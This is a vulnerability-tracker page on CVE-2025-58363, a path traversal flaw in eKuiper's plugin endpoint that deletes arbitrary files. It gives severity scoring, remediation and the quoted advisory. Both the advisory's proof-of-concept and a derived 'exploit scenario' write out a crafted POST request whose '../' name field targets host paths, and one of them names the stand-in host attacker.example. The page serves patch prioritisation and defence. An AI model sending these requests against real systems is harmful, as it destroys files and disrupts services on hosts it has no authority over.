Skip to main content

LF Edge eKuiper CVE-2025-58363

MEDIUM
Path Traversal (CWE-22)
2026-09-09 https://github.com/lf-edge/ekuiper GHSA-c23q-fw86-9h5x
5.5
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain high-privilege management API credentials
  2. Delivery
    Send POST /plugins/sources with traversal sequences in `name` field
  3. Exploit
    `os.RemoveAll` deferred cleanup targets attacker-controlled path
  4. Execution
    Arbitrary files or directories deleted on host
  5. Impact
    Service disruption or host instability

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Access to the eKuiper management HTTP API (default port 9081) with high-privilege credentials is required - the CVSS PR:H metric confirms this. The management endpoint must be reachable by the attacker, which in edge deployments is typically a LAN or internal network interface, though misconfigured instances may expose it externally. The attack requires a single HTTP POST to /plugins/sources (or similar plugin-type endpoints) with a crafted name field containing ../ sequences. No special eKuiper configuration beyond a running management interface is needed - the vulnerability is present in default installs of affected versions. Exploitation is concretely limited by the PR:H credential requirement and by the delete-only impact: regardless of access level, no code execution path exists through this vulnerability.

Impact

The CVSS 5.5 score (AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H) accurately captures the bounded but real impact. Network reachability with low complexity reflects the straightforward HTTP API attack surface, while PR:H correctly gates exploitation on valid high-privilege management credentials - a meaningful barrier in hardened deployments. The high availability rating (A:H) is well-justified: an attacker can target eKuiper rule definitions, configuration files, or arbitrary host OS paths, triggering service disruption or cascading system instability. Integrity impact is appropriately limited to I:L since only deletion is possible. A published PoC within the official advisory significantly lowers the exploitation bar for any party already holding management API access. No CISA KEV listing is present and no EPSS score was provided, leaving exploitation probability unquantified; given the niche edge-computing deployment footprint and the PR:H prerequisite, real-world exploitation risk is assessed as moderate-to-low absent credential compromise. The 'RCE' tag in the input metadata is definitively incorrect and conflicts with the advisory's explicit statement - this should be treated as a metadata error rather than an exploitation signal.

Exploit ScenarioDerived

An attacker who has obtained valid high-privilege management API credentials sends a single crafted HTTP POST to http://<host>:9081/plugins/sources with the JSON body {"name": "../../../../../etc/ekuiper", "file": "http://attacker.example/plugin.zip"}. When the plugin installation routine completes or fails, the deferred os.RemoveAll cleanup deletes the targeted path, erasing eKuiper configuration or other host directories. The published PoC in the advisory demonstrates this technique against /tmp/target.txt, confirming the deletion primitive with a single unauthenticated-to-the-filesystem but API-authenticated request.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 09, 2026

Path traversal in LF Edge eKuiper's plugin installation endpoint (POST /plugins/*) allows high-privileged management API users to delete arbitrary files and directories on the host by embedding traversal sequences such as ../../ in the plugin name parameter. Affected versions are all eKuiper releases prior to 2.4.1 (Go module github.com/lf-edge/ekuiper/v2). A proof-of-concept is published in the GitHub security advisory GHSA-c23q-fw86-9h5x, demonstrating deletion of arbitrary host paths via os.RemoveAll; the advisory explicitly confirms exploitation is bounded to file deletion only - no code execution, file creation, or data exfiltration is achievable.

RemediationAI

Upgrade to eKuiper >= 2.4.1, available at https://github.com/lf-edge/ekuiper/releases/tag/v2.4.1. The release is described as a drop-in upgrade from v2.4.0 with no breaking changes; it enforces validate.ValidateID and path.VerifyFileName across all management endpoints, blocking path traversal sequences before any filesystem operation. For operators unable to upgrade immediately, restrict network access to the management port (default 9081) via firewall rules or a reverse proxy requiring authentication, ensuring only trusted administrative clients can reach the API - this eliminates the attack surface entirely. Additionally, run eKuiper under a dedicated non-root service account with minimal filesystem permissions so that os.RemoveAll is constrained to directories owned by that account; note this mitigation limits blast radius but does not eliminate the traversal, so upgrade remains the authoritative fix.

Affected Packages

go github.com/lf-edge/ekuiper no fix
go github.com/lf-edge/ekuiper/v2 fix: 2.4.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

eKuiper is an open-source, lightweight edge computing streaming SQL engine written in Go, maintained under the LF Edge umbrella and primarily deployed in IoT and industrial edge environments. The vulnerability resides in internal/plugin/native/manager.go, which handles native plugin installation requests (POST /plugins/sources, /plugins/sinks, etc.). The handler concatenates the user-supplied name field directly into a temporary directory path without sanitizing path-separator sequences, permitting traversal outside the intended plugin working directory. A deferred os.RemoveAll() cleanup call - intended to purge temporary install artifacts - then operates on the attacker-controlled resolved path. A related issue was also discovered in rule and configuration lifecycle handlers where unvalidated rule identifiers could similarly influence file deletion paths. CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) precisely describes this root cause. The fix in v2.4.1 introduces validate.ValidateID and path.VerifyFileName across all management endpoints to reject unsafe path components before any filesystem operation.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.5 MEDIUM
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H
vuln.today AI 5.5 MEDIUM

Management API requires high privileges (PR:H); deletion-only impact warrants I:L/A:H with no confidentiality breach possible.

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
High

DescriptionGitHub Advisory

Summary

A path traversal vulnerability in eKuiper's administrative management endpoints allows privileged users or attackers with access to management APIs to delete arbitrary files or directories on the host system.

Details

In internal/plugin/native/manager.go, the plugin installation endpoint (POST /plugins/*) constructs a temporary directory path by directly joining user-supplied resource names (name) without sufficient sanitization. Supplying path traversal sequences (such as ../../...) causes the deferred cleanup operation (os.RemoveAll) to target arbitrary directories outside the intended plugin directory.

A related issue in configuration and rule lifecycle management where unvalidated rule identifiers could influence file deletion paths was also addressed by introducing unified identifier and file name validation.

PoC

  1. Target file deletion via plugin installation endpoint:
http
POST /plugins/sources HTTP/1.1
Host: 127.0.0.1:9081
Content-Type: application/json

{
  "name": "../../../../../tmp/target.txt",
  "file": "http://example.com/plugin.zip",
  "shellParas": [],
  "functions": []
}
  1. When the request finishes, /tmp/target.txt is removed by os.RemoveAll.

Impact

An attacker with access to eKuiper management APIs can cause arbitrary file or directory deletion, potentially leading to denial of service or disruption of the host environment. This vulnerability provides a delete-only capability and does not permit arbitrary file creation, modification, or code execution.

Remediation & Patches

  • Upgrade to eKuiper >= 2.4.1: Input validation (validate.ValidateID) and file path validation (path.VerifyFileName) have been enforced across management endpoints.

Workarounds

  • Restrict network access to eKuiper management port (9081) via authentication, reverse proxies, and firewall rules.
  • Run eKuiper with a dedicated non-root user account to limit file system deletion permissions.

Credits

  • @kosmosec
  • @arpitjain099

Threat Intelligence Overview

Prevalence
Low
niche IoT/edge streaming SQL engine, limited enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
3 sources
Confidence: Low
NVD CVE.org GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

48
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +28
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)GitHub Advisory

pkg:go/github.com_lf-edge_ekuiper_v2

Vendor StatusVendor

SUSE

Severity: Moderate

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy